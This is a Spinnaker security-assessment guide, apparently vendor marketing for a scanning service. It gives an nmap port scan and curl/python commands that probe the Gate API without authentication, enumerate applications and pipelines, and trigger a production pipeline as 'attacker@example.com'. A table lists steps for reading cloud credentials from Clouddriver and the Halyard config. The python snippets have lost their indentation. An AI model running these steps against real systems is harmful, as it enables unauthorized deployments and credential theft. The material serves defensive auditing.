Spinnaker is Netflix's open-source continuous delivery platform used at Google, Amazon, and many large enterprises to orchestrate multi-cloud deployments. Its microservice architecture — Gate (API gateway), Orca (orchestration), Clouddriver (cloud provider), Fiat (authorization), Halyard (config management), Rosco (image baking) — creates multiple attack surfaces. Without proper authentication configuration, the Gate API allows triggering production deployments, Clouddriver exposes cloud provider IAM credentials, and Halyard config files contain every cloud credential needed to access the entire infrastructure. This guide covers systematic Spinnaker security assessment.
# Spinnaker default service ports (microservices):
# Gate: 8084 (API gateway — exposed to users)
# Deck: 9000 (UI — exposed to users)
# Orca: 8083 (pipeline orchestration — internal)
# Clouddriver: 7002 (cloud provider interactions — internal)
# Front50: 8080 (pipeline config storage — internal)
# Fiat: 7003 (authorization — internal)
# Rosco: 8087 (image baking — internal)
# Igor: 8088 (CI integration — internal)
# Halyard: 8064 (configuration daemon — internal)
# Scan for Spinnaker services
nmap -sV -p 8084,9000,8083,7002,8080,7003,8087,8088,8064 TARGET-HOST 2>/dev/null
# Gate API health check (publicly facing)
curl -s http://spinnaker.example.com:8084/health 2>/dev/null
# {"status":"UP"} = Gate accessible
# Test if Gate API requires authentication
curl -s http://spinnaker.example.com:8084/applications 2>/dev/null | python3 -c "
import json,sys
try:
r = json.load(sys.stdin)
if isinstance(r, list):
print(f'EXPOSED: {len(r)} applications found — no auth required')
else:
print(f'Response: {r}')
except:
print(sys.stdin.read()[:200])
"
# If Gate API is accessible without auth, enumerate all applications and pipelines
# List all applications
curl -s http://spinnaker.example.com:8084/applications | python3 -c "
import json,sys
apps = json.load(sys.stdin)
for app in apps:
print(f\"App: {app.get('name','?')} owner: {app.get('email','?')}\")
"
# Get pipelines for an application
APP="payment-service"
curl -s "http://spinnaker.example.com:8084/applications/$APP/pipelineConfigs" | python3 -c "
import json,sys
pipelines = json.load(sys.stdin)
for p in pipelines:
print(f\"Pipeline: {p.get('name','?')} id: {p.get('id','?')}\")
# Look for 'Deploy to Production', 'Release', etc.
"
# Trigger a pipeline execution (no auth = can deploy to production)
PIPELINE_ID="pipeline-id-from-above"
curl -X POST "http://spinnaker.example.com:8084/pipelines/$APP/$PIPELINE_ID" \
-H "Content-Type: application/json" \
-d '{
"type": "manual",
"user": "attacker@example.com",
"parameters": {}
}' 2>/dev/null | python3 -m json.tool | head -20
# If returns execution object: pipeline triggered — CRITICAL
# Get all active pipeline executions
curl -s "http://spinnaker.example.com:8084/pipelines?application=$APP" 2>/dev/null | python3 -c "
import json,sys
executions = json.load(sys.stdin)
print(f'Active executions: {len(executions)}')
for e in executions[:5]:
print(f\" Status: {e.get('status','?')} trigger: {e.get('trigger',{}).get('type','?')}\")
"
| Security Test | Method | Risk |
|---|---|---|
| Gate API accessible without auth | curl :8084/applications returns app list | Critical |
| Pipeline execution without auth | POST :8084/pipelines/APP/PIPELINE triggers deploy | Critical |
| Clouddriver port accessible internally | curl :7002/credentials — lists cloud accounts + keys | Critical |
| Halyard config file readable | cat ~/.hal/default/config — contains all cloud creds | Critical |
| Front50 pipeline config storage exposed | curl :8080/pipelines — returns all pipeline definitions | High |
| Fiat auth disabled or misconfigured | Cross-application pipeline access without permission | High |
Ironimo tests Spinnaker deployments for unauthenticated Gate API access, unauthorized pipeline execution, Clouddriver credential exposure, Fiat authorization bypass, Halyard configuration exfiltration, and artifact injection — covering the full Spinnaker attack surface across all microservices.
Start free scan